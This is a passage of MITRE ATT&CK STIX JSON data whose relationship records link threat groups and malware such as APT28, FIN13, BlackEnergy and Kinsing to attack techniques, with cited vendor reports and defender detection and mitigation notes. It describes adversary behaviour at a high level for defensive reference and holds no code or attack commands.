privileges.(Citation: ESET RTM Feb 2017)", "relationship_type": "uses", "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0d116456-322a-470c-a219-6d313f801b89", "created": "2023-01-30T23:28:51.418Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "SentinelLabs Metador Sept 2022", "description": "Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.", "url": "https://assets.sentinelone.com/sentinellabs22/metador#page=1"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-03T17:27:08.788Z", "description": "[Metador](https://attack.mitre.org/groups/G1013) has used HTTP for C2.(Citation: SentinelLabs Metador Sept 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--bfc5ddb3-4dfb-4278-8928-020e1b3feddd", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d1314fe-7fd6-4816-abb8-4b9872478807", "type": "relationship", "created": "2020-05-12T21:56:32.904Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FOX-IT May 2016 Mofang", "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}], "modified": "2020-05-12T21:56:32.904Z", "description": "[ShimRat](https://attack.mitre.org/software/S0444) can use pre-configured HTTP proxies.(Citation: FOX-IT May 2016 Mofang)", "relationship_type": "uses", "source_ref": "malware--5763217a-05b6-4edd-9bca-057e47b5e403", "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0d1605a9-9a62-401d-af07-84b481bddb66", "created": "2020-10-02T02:08:23.917Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "US District Court Indictment GRU Oct 2018", "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. 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Retrieved March 16, 2022.", "url": "https://blog.google/threat-analysis-group/update-threat-landscape-ukraine"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T17:51:20.404Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) registered domains imitating NATO, OSCE security websites, Caucasus information resources, and other organizations.(Citation: FireEye APT28)(Citation: US District Court Indictment GRU Oct 2018)(Citation: Google TAG Ukraine Threat Landscape March 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d1ae008-8b7f-4b64-8b05-2df3ef55f323", "type": "relationship", "created": "2022-03-30T14:26:51.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.833Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d1bf687-ad42-45e6-bd52-34c6a14accad", "type": "relationship", "created": "2020-12-09T18:59:51.482Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-12-09T19:01:19.622Z", "description": "[Melcoz](https://attack.mitre.org/software/S0530) can monitor the clipboard for cryptocurrency addresses and change the intended address to one controlled by the adversary.(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--d3105fb5-c494-4fd1-a7be-414eab9e0c96", "target_ref": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d1cb122-5195-4d04-b5c9-85f4747886fa", "type": "relationship", "created": "2020-05-21T21:31:34.415Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Pony April 2016", "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}], "modified": "2020-06-15T21:31:38.170Z", "description": "[Pony](https://attack.mitre.org/software/S0453) has attempted to lure targets into downloading an attached executable (ZIP, RAR, or CAB archives) or document (PDF or other MS Office format).(Citation: Malwarebytes Pony April 2016)", "relationship_type": "uses", "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d1ccb3a-8292-42ba-a338-58a642ef3adb", "type": "relationship", "created": "2022-03-30T14:26:51.875Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.875Z", "description": "Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d1fe44d-a476-4553-b163-1e03890ae7b4", "type": "relationship", "created": "2020-11-17T19:32:21.422Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Lucifer June 2020", "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/", "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020."}], "modified": "2020-11-17T20:00:08.135Z", "description": "[Lucifer](https://attack.mitre.org/software/S0532) can identify the IP and port numbers for all remote connections from the compromised host.(Citation: Unit 42 Lucifer June 2020)", "relationship_type": "uses", "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d2a66c5-fb8e-4cbb-9526-579b5c9c881c", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto T9000 Feb 2016", "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/"}], "modified": "2020-03-30T03:07:37.770Z", "description": "[T9000](https://attack.mitre.org/software/S0098) gathers and beacons the system time during installation.(Citation: Palo Alto T9000 Feb 2016)", "relationship_type": "uses", "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d2d9b59-a152-4280-ac57-ce5416cbbe61", "type": "relationship", "created": "2020-02-11T18:40:00.043Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-11T18:40:00.043Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc", "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d328be7-85d2-4558-a4e3-cc5ce8bc7e2e", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Sednit Part 2", "description": "ESET. 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Retrieved February 23, 2017.", "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf"}], "modified": "2020-03-16T15:53:20.410Z", "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can perform keylogging.(Citation: ESET Sednit Part 2)(Citation: Bitdefender APT28 Dec 2015)", "relationship_type": "uses", "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0d357a8d-c053-44f0-8777-0e8f8f7bc9a8", "created": "2023-07-28T18:12:02.524Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Sygnia Elephant Beetle Jan 2022", "description": "Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.", "url": "https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-29T18:49:05.992Z", "description": "[FIN13](https://attack.mitre.org/groups/G1016) has utilized web shells and Java tools for tunneling capabilities to and from compromised assets.(Citation: Sygnia Elephant Beetle Jan 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4", "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d388cf6-adcd-4708-8203-cea7180340b0", "type": "relationship", "created": "2020-11-09T15:08:23.128Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}], "modified": "2021-04-22T13:46:15.469Z", "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) has the ability to self delete.(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "tool--5256c0f8-9108-4c92-8b09-482dfacdcd94", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d3bf2be-d9e2-480d-b64a-fea7e0bac12c", "type": "relationship", "created": "2021-04-06T12:22:23.764Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Aqua Kinsing April 2020", "url": "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", "description": "Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021."}], "modified": "2021-04-06T12:22:23.764Z", "description": "[Kinsing](https://attack.mitre.org/software/S0599) has communicated with C2 over HTTP.(Citation: Aqua Kinsing April 2020)", "relationship_type": "uses", "source_ref": "malware--d6e55656-e43f-411f-a7af-45df650471c5", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d3e115b-ff08-4bff-8802-be3d21cec68f", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Operation Groundbait", "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. 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Retrieved May 18, 2020."}], "modified": "2020-06-24T01:40:07.453Z", "description": "[Maze](https://attack.mitre.org/software/S0449) has checked the language of the infected system using the \"GetUSerDefaultUILanguage\" function.(Citation: McAfee Maze March 2020)", "relationship_type": "uses", "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d40b95c-629c-46bf-bafc-2558a180fedc", "type": "relationship", "created": "2021-09-13T18:33:56.304Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "sentinelone apt32 macOS backdoor 2020", "url": "https://www.sentinelone.com/labs/apt32-multi-stage-macos-trojan-innovates-on-crimeware-scripting-technique/", "description": "Phil Stokes. (2020, December 2). APT32 Multi-stage macOS Trojan Innovates on Crimeware Scripting Technique. Retrieved September 13, 2021."}], "modified": "2022-01-14T21:53:01.187Z", "description": "[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) has changed permissions of a second-stage payload to an executable via <code>chmod</code>.(Citation: sentinelone apt32 macOS backdoor 2020)", "relationship_type": "uses", "source_ref": "malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29", "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d4145da-e755-465f-a6fe-057ce43c627d", "type": "relationship", "created": "2021-10-01T18:34:01.251Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity InkySquid RokRAT August 2021", "url": "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/", "description": "Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."}], "modified": "2021-10-15T16:55:11.473Z", "description": "[APT37](https://attack.mitre.org/groups/G0067) has used Python scripts to execute payloads.(Citation: Volexity InkySquid RokRAT August 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", "target_ref": "attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d432cda-9684-4daa-a66f-c65ad90ff2b7", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts", "description": "Axel F. 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En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"}], "modified": "2020-01-17T22:22:30.782Z", "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) tests if it can reach its C2 server by first attempting a direct connection, and if it fails, obtaining proxy settings and sending the connection through a proxy, and finally injecting code into a running browser if the proxy method fails.(Citation: ESET Sednit Part 1)", "relationship_type": "uses", "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d4d42e9-0473-42fc-b018-c79b54c7a87f", "type": "relationship", "created": "2021-03-08T16:50:34.117Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-133b", "description": "USG. (2020, May 12). MAR-10288834-2.v1 \u2013 North Korean Trojan: TAINTEDSCRIBE. Retrieved March 5, 2021."}], "modified": "2021-03-15T17:16:09.163Z", "description": "[TAINTEDSCRIBE](https://attack.mitre.org/software/S0586) can change the timestamp of specified filenames.(Citation: CISA MAR-10288834-2.v1  TAINTEDSCRIBE MAY 2020)", "relationship_type": "uses", "source_ref": "malware--7f4bbe05-1674-4087-8a16-8f1ad61b6152", "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d4d7376-5bda-44bc-b90d-0a065bb99433", "type": "relationship", "created": "2019-06-24T17:08:51.561Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf", "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", "source_name": "F-Secure BlackEnergy 2014"}, {"source_name": "Securelist BlackEnergy Nov 2014", "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.", "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"}], "modified": "2020-06-02T16:14:00.473Z", "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has used a plug-in to gather credentials from web browsers including FireFox, Google Chrome, and Internet Explorer.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)", "relationship_type": "uses", "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d4e8cb8-c265-449a-b010-f4614135572f", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco H1N1 Part 2", "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"}], "modified": "2020-03-19T22:59:05.013Z", "description": "[H1N1](https://attack.mitre.org/software/S0132) dumps usernames and passwords from Firefox, Internet Explorer, and Outlook.(Citation: Cisco H1N1 Part 2)", "relationship_type": "uses", "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d51acf9-f8df-42e1-aef3-4c86cf5ab17a", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}], "modified": "2021-03-29T19:54:46.178Z", "description": "(Citation: NCC Group APT15 Alive and Strong)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d557837-8936-43e7-95fd-2c30938d34d3", "type": "relationship", "created": "2020-05-05T17:07:33.350Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Carbon Black HotCroissant April 2020", "url": "https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/", "description": "Knight, S.. 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Retrieved May 1, 2020."}], "modified": "2020-05-05T17:07:33.350Z", "description": "[Rifdoor](https://attack.mitre.org/software/S0433) has the ability to identify the Windows version on the compromised host.(Citation: Carbon Black HotCroissant April 2020)", "relationship_type": "uses", "source_ref": "malware--44c75271-0e4d-496f-ae0a-a6d883a42a65", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d57e872-1062-4bab-b3c5-3cea17cba4dc", "type": "relationship", "created": "2020-03-14T22:34:03.212Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-26T23:15:48.010Z", "description": "Web proxies can be used to enforce external network communication policy that prevents use of unauthorized external services.", "relationship_type": "mitigates", "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", "target_ref": "attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d600c05-c617-46f4-947f-cdd6ca56d494", "type": "relationship", "created": "2020-10-20T15:52:49.945Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-16T17:44:09.635Z", "description": "This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.", "relationship_type": "mitigates", "source_ref": "course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc", "target_ref": "attack-pattern--19401639-28d0-4c3c-adcc-bc2ba22f6421", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0d63f3cf-bace-4210-9b76-199c5cdb8764", "type": "relationship", "created": "2017-05-31T21:33:27.074Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Citizen Lab Stealth Falcon May 2016", "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. 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Retrieved December 22, 2020."}], "modified": "2020-12-22T19:11:27.262Z", "description": "(Citation: Unit42 Molerat Mar 2020) (Citation: Cybereason Molerats Dec 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", "target_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0ddcf163-015f-46a2-8de7-375712d92bae", "type": "relationship", "created": "2020-05-22T19:37:14.272Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Chafer February 2018", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions", "description": "Symantec. (2018, February 28). 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Retrieved December 10, 2020."}], "modified": "2020-12-11T16:17:17.851Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has used tools for capturing keystrokes.(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0de53f4c-a286-44da-be79-52960c7f2f84", "type": "relationship", "created": "2022-03-30T14:26:51.872Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.872Z", "description": "Monitor executed commands and arguments in command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": 